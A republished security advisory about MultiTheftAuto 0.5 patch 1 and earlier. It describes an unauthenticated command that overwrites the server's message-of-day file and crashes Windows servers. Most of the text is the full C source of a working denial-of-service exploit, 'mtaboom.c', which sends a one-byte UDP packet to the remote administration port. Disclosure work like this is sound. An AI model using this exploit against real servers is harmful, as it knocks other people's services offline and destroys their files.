[NEWS] MultiTheftAuto Privileges Escalation and DoS Vulnerabilities

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  MultiTheftAuto Privileges Escalation and DoS Vulnerabilities
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SUMMARY

MultiTheftAuto (MTA) is a closed-source mod and server for the games  
<http://www.rockstargames.com/grandtheftauto3/> Grand Theft Auto III and  
<http://www.rockstargames.com/vicecity/pc/> Grand Theft Auto: Vice City 
which adds multiplayer capabilities to them.

MultiTheftAuto does not check privileges for a command that allow to 
overwrite information and cause a DoS by attackers.

DETAILS

Vulnerable Systems:
 * MultiTheftAuto version 0.5 patch 1 and prior

Privileges Escalation:
The MTA server has the remote administration option enabled by default. 
The problem is the existence of an undocumented command (number 40) which 
allows the modification or the deletion of the content of the motd.txt 
file used for the message of the day.
This is the only command which doesn't check if the client is an 
administrator so anyone without permissions has access to it.

Denail of Service:
The command 40 is also the cause of another problem located in the same 
function which seems incomplete or experimental as showed by the following 
"retrieved" code:
    // open file for writing "w"
    length = *(u_int *)(src - (src % 4096));
    for(i = j = 0; i < length; i++) {
        if(src[i] == '\n') dst[j++] = '\r';
        dst[j++] = src[i];
        if(j < 1024) continue;
        if(!WriteFile(...)) break;
        j = 0;
    }
    // close file

length is -1 so the function starts an almost endless loop which stops 
when the source buffer points to an unallocated zone of the memory. The 
result is the immediate crash of the MTA server.

Seems that only the Windows server is affected by the crash because on 
Linux the function is substituited with the following "still incorrect" 
instruction which doesn't produce exceptions:
    fd = fopen("motd.txt", "w");
    fwrite(data + 4, 1, data, fd);  // yes data is the buffer
    fclose(fd);

Exploit:
winerr.h can be found at:  
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html> 
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html

mtaboom.c:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif

#define VER     "0.1"
#define BUFFSZ  4096
#define PORT    4003
#define TIMEOUT 3
#define PING    "\x0d\x30\x00"  // not a ping, just a way to get a reply
#define BOOM    "\x28"          // that's enough

int timeout(int sock);
u_int resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len;
    u_short port = PORT;
    u_char  buff[BUFFSZ];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "MultiTheftAuto <= 0.5 patch 1 server crash/motd reset "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s <host> [port(%hu)]\n"
            "\n", argv[0], port);
        exit(1);
    }

    if(argc > 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    fputs("- check server:\n", stdout);
    if(sendto(sd, PING, sizeof(PING) - 1, 0, (struct sockaddr *)&peer, 
sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\n"
            "Error: the server doesn't seem to support remote 
administration\n"
            "       try using the port 24003\n"
            "\n", stdout);
        exit(1);
    }
    len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
    if(len < 0) std_err();

    sleep(ONESEC);

    fputs("- send BOOM packet:\n", stdout);
    if(sendto(sd, BOOM, sizeof(BOOM) - 1, 0, (struct sockaddr *)&peer, 
sizeof(peer))
      < 0) std_err();

    sleep(ONESEC);

    fputs("- check server:\n", stdout);
    if(sendto(sd, PING, sizeof(PING) - 1, 0, (struct sockaddr *)&peer, 
sizeof(peer))
      < 0) std_err();
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem to crash but probably you have 
deleted its motd.txt file\n\n", stdout);
    }

    close(sd);
    return(0);
}

int timeout(int sock) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_int resolv(char *host) {
    struct hostent *hp;
    u_int  host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Luigi 
Auriemma .
The original article can be found at:  
<http://aluigi.altervista.org/adv/mtaboom-adv.txt> 
http://aluigi.altervista.org/adv/mtaboom-adv.txt



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